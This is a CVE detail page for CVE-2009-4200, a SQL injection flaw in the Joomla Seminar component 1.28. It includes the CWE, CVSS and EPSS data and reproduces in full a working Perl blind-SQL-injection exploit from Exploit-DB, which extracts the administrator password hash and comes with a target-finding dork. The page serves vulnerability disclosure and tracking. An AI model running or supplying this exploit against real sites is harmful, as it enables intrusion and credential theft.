CVE-2009-4200 : Detail

CVE-2009-4200

SQL Injection
A03-Injection
0.07%V3
Network
2009-12-04
18h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in the Seminar (com_seminar) component 1.28 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a View_seminar action to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 8867

Publication date : 2009-06-02 22h00 +00:00
Author : ThE g0bL!N
EDB Verified : Yes

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n"; print " o Joomla Component Seminar Blind SQL Injection Exploit o\n"; print " o Author:ThE g0bL!N o\n"; print " o More info:http://extensions.joomla.org/extensions/calendars-&-events/events-registration/8426/details o\n"; print " o vendor:http://seminar.vollmar.ws/ o\n"; print " o Dork : inurl:com_seminar o\n"; print " o Usage: perl bachir.pl host path <options> o\n"; print " o Example: perl bachir.pl www.host.com /joomla/ -s 2 o\n"; print " o o\n"; print " o Options: o\n"; print " o -s valid Article id o\n"; print " o Note: o\n"; print " o You can Change the match string by any content of the correct query o\n"; print " ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $userid = 1; my $sid = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "s=i"); print "[~] Exploiting...\n"; if($options{"u"}) { $userid = $options{"u"}; } if($options{"s"}) { $sid = $options{"s"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $path, $userid, $sid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $path, $userid, $sid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[~] Exploiting done\n"; sub istrue2 { my $host = shift; my $path = shift; my $uid = shift; my $sid = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host.$path."index.php?option=com_seminar&task=View_seminar&id=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")"; my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "seminar_boxA"; if($content =~ /$regexp/) { return 1; } else { return 0; } } # milw0rm.com [2009-06-03]

Products Mentioned

Configuraton 0

Vollmar>>Com_seminar >> Version 1.28

    Joomla>>Joomla\! >> Version *

    References

    http://www.exploit-db.com/exploits/8867
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/35192
    Tags : vdb-entry, x_refsource_BID